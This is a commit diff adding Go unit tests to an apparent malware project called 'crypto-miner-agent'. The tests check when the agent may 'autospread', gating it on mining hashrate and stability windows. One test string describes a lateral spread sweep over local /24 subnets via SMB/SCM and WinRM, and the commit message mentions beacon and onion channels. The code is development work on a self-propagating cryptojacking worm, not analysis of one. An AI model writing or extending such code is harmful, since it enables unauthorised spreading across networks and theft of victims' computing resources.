Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/deploy/hashrate_gate_test.go

@@ -0,0 +1,93 @@
+package deploy
+
+import (
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) {
+	resetSpreadGateForTest()
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
+	ok, reason := AllowAutospread(cfg)
+	if !ok || reason != "" {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestAllowAutospreadBlocksChainExhausted(t *testing.T) {
+	resetSpreadGateForTest()
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		HashrateGateSpreadMin: 5,
+		HashrateGateHPS:       100,
+	}}
+	SetSpreadMiningTelemetry(500, true)
+	ok, reason := AllowAutospread(cfg)
+	if ok || reason != "mining chain exhausted" {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestAllowAutospreadRequiresStableHashrate(t *testing.T) {
+	resetSpreadGateForTest()
+	base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
+	spreadGateClock = func() time.Time { return base }
+	t.Cleanup(func() { spreadGateClock = time.Now })
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		HashrateGateSpreadMin: 10,
+		HashrateGateHPS:       100,
+	}}
+	SetSpreadMiningTelemetry(150, false)
+	ok, reason := AllowAutospread(cfg)
+	if ok || reason != "hashrate stability window not met" {
+		t.Fatalf("first tick ok=%v reason=%q", ok, reason)
+	}
+
+	spreadGateClock = func() time.Time { return base.Add(11 * time.Minute) }
+	ok, reason = AllowAutospread(cfg)
+	if !ok || reason != "" {
+		t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg))
+	}
+}
+
+func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) {
+	resetSpreadGateForTest()
+	base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
+	spreadGateClock = func() time.Time { return base }
+	t.Cleanup(func() { spreadGateClock = time.Now })
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		HashrateGateSpreadMin: 5,
+		HashrateGateHPS:       200,
+	}}
+	SetSpreadMiningTelemetry(250, false)
+	spreadGateClock = func() time.Time { return base }
+	if ok, _ := AllowAutospread(cfg); ok {
+		t.Fatal("expected window not met on first tick")
+	}
+	spreadGateClock = func() time.Time { return base.Add(6 * time.Minute) }
+	if ok, reason := AllowAutospread(cfg); !ok {
+		t.Fatalf("expected stable after 6m, reason=%q", reason)
+	}
+	SetSpreadMiningTelemetry(50, false)
+	ok, reason := AllowAutospread(cfg)
+	if ok || reason != "hashrate below gate threshold" {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) {
+	resetSpreadGateForTest()
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		AutoSpread:            true,
+		HashrateGateSpreadMin: 10,
+		HashrateGateHPS:       100,
+	}}
+	SetSpreadMiningTelemetry(0, false)
+	msg := RunSpreadOnce(cfg)
+	if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" {
+		t.Fatalf("expected gate message, got %q", msg)
+	}
+}